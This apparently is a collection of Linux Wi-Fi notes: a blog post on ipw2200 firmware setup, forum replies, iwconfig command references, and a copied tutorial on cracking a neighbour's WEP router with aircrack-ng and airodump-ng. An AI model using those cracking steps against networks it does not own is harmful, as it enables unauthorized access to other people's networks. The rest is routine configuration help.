https://bur-agw-2.cns.vt.edu/login.pl

Linux instructions http://www.vtluug.org/wiki/index.php?title=VT_Wireless

webauth.cns.vt.edu/logout.html

From modphp.org

Posted 4 months, 5 days ago on October 17, 2006 by dave # Wow, this took me a good two hours to figure out.

Luckily a had a wired LAN available to search Google to figure out how to get my Wireless card working. After installation of FC5, I could see “Intel Corporation Pro/Wireless 2200 BG” in my Network Configuration utility under the hardware section, but dmesg showed:

ipw2200: Intel(R) PRO/Wireless 2200/2915 Network Driver, git-1.1.1 ipw2200: Copyright© 2003-2006 Intel Corporation ipw2200: Detected Intel PRO/Wireless 2200BG Network Connection ipw2200: ipw2200-bss.fw request_firmware failed: Reason -2 ipw2200: Unable to load firmware: -2 ipw2200: failed to register network device

Well, it took me a lot of searching to know I needed to “dmesg | grep ipw” to see what's going on, but once I did this, I was on my way. A little google searching for “ipw2200-bss.fw request_firmware failed” revieled that I needed to go to http://ipw2200.sourceforge.net/firmware.php and download the firmware v3.0 file.

I then untared the contents into /lib/firmware, then moved everything from /lib/firmware/ipw2200-fw/* to /lib/firmware/ (this took me a bit to figure out, I did what everything said, unpack to /lib/firmware, but the tarball held the contents in a sub directory, need to get just the files into /lib/firmware/

Now, to get my os to reload the module:

modprobe -r ipw2200 modprobe ipw2200 iwconfig

And we have lift off, iwconfig finally shows my device. dmesg looks good now, also.

Lastly, I needed to connect to a shared key authentication WEP network with a hex key.

iwconfig eth1 essid theoffice key restricted 123456789

Finally, tell eth1 to enable itself:

ifup eth1

I ommited all of the trial and error I went through to get it working. One thing that tripped me up for awhile was the shared key deal. Had to do a “man iwconfig” to figure out that “key restricted 123456789” was the right way to do a shared key in hex.

I put the last two commands in my /etc/rc.local file to make the wireless connection turn on after boot up.

Hope this helps someone else.

Dave.

—Comment

Do you see your access point, if you do a scan?

# iwlist eth1 scan

If yes, for example use “system-config-network” to configure your wireless settings.

Please see also the documentation:

# yum install Deployment_Guide-fr-FR Deployment_Guide-en-US # yelp ghelp:Deployment_Guide

Urs

Please try Mode: Managed (!) Network name (SSID): Specified: observatoire-portail Key “empty”

# ifup eth1

What shows

# iwconfig eth1

Urs

—-Maybe the firmware 1.14.2 increases the stability of the connection. At the moment I don't have any ipw3945 hardware around for testing. But you can get the ipw3945-firmware-1.14.2 also from dag's repository:

# yum –enablerepo=dag update ipw3945-firmware

If this solves some problems, ipw3945-firmware-1.14.2 should/will be also included in SL5 errata.

Urs I've found certain networks don't work well with this device. However, using NetworkManager makes it okay. Have you tried that? You need to turn on two services for it to work NetworkManager and NetworkManagerDispatcher.

http://linuxplanet.com/linuxplanet/tutorials/6901/1/

NetStumbler look alike

also serves as a WiFi connection manager

command line packet sniffer

gui based packet analyzer

provides quick and simple list of all ip devices on the network

network discovery tool with alerting

Used to discover wireless networks and channels in range.

apt-get install kismet
vim /etc/kismet/kismet.conf
  edit: 
    suiduser=<username>
    source=,eth0,<somename> (Check /usr/share/doc/README.gz for Capture Sources information.)

for ubuntu Lenovo,

    source=ipw3945,wlan0,wireless0

Airodump ?? might be another kismet.

These might be what was used to detect WEP keys once the network was discovered

airsnort
aircrackng

GUI front end for snort

http://www.pmabox.com/index.php?option=com_content&view=article&id=35:how-to-hack-your-neigbour-wireless&catid=10:icelan

How to Crack / Hack your Neighbour Wireless Router using Ubuntu 9.10

First we need to install the necessary Ubuntu packages. This can be done with the Synaptic Package Manager (search for aircrack-ng and kismet) or using the Terminal.

$sudo apt-get install aircrack-ng
$sudo apt-get install kismet

Let's start by testing the wireless card:

$sudo airmon-ng stop ath0
$sudo airmon-ng start wifi0

Let's see all available wireless networks. Let's choose a wireless network with a good signal quality and with clients connected to it. Keep in mind the channel id (i.e. 6 or 11) and the router Mac Address.

$sudo airodump-ng mon0

Next step is to intercept data/packages we will need a bunch of IV's logged so we can decrypt the password later. Usually 250k or 500k are enough, sometimes the aircrack after failing deciphering the password will ask for 5.000 to 10.000 IV's. Let's start logging using the following command (6 stands for channel id and 00:MA:CA:DD:RE:SS for the router mac address.

sudo airdump-ng -c 6 --bssid 00:MA:CA:DD:RE:SS -w dump mon0

The final step, run this command to decipher the password.

$sudo aircrack-ng -a 1 -f 10 dump*.cap

The result shoud be:

KEY FOUND! **:**:**:**:** ASCII: ******
Decrypted correctly: 100%

If you get:

Failed. Next try with 5.000 IV's or .... Failed. Next try with 10.000

Then just collect more packages with

$sudo airdump-ng -c 6 --bssid 00:MA:CA:DD:RE:SS -w dump mon0

http://www.linux.com/learn/tutorials/374514-control-wireless-on-the-linux-desktop-with-these-tools

ifconfig wlan0 up

Where wlan0 is the name of your wireless device (this is most often the default). The above command will bring your wireless device up so it is ready to use. The next phase is to scan for any wireless access points with the command:

iwlist wlan0 scan

From the output of the scan you should see a line (or lines) like:

ESSID: “NETWORK_NAME”

Where NETWORK_NAME is the name of an available wireless network.

Now that you have your network name (and you know it's available) you can connect to that network with the command:

iwconfig wlan0 essid NETWORK_NAME key WIRELESS_KEY

Where NETWORK_NAME is the name of the network you want to connect to and WIRELESS_KEY is the security key for that network. NOTE: The iwconfig command defaults to HEX values for wireless keys. If you need to use ascii you have to prepend the “s” prefix to your key like so:

iwconfig wlan0 essid NETWORK_NAME key s:WIRELESS_KEY

With your connection made, you now have to get an IP address for your machine using the dhclient command like:

dhclient wlan0

http://www.linuxjournal.com/content/wi-fi-command-line?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+linuxjournalcom+%28Linux+Journal+-+The+Original+Magazine+of+the+Linux+Community%29&utm_content=Google+Reader

Scan available networks

sudo iwlist wlan0 scan

Set essid for network used

sudo iwconfig wlan0 essid network-essid

Set Frequency or Channel

sudo iwconfig wlan0 freq 2.422G

or

sudo iwconfig wlan0 channel 3

sensitivity and retry can be adjusted also. Here is retry:

sudo iwconfig wlan0 retry 16

maximum lifetime to keep retrying

sudo iwconfig wlan0 retry lifetime 300m

maximum fragment size

sudo iwconfig wlan0 frag 512

flush pending changes to card

sudo iwconfig wlan0 commit

display wireless statistics if available

sudo iwspy wlan0

display options

sudo iwpriv wlan0

set options

sudo iwpriv wlan0 private-command [private parameters]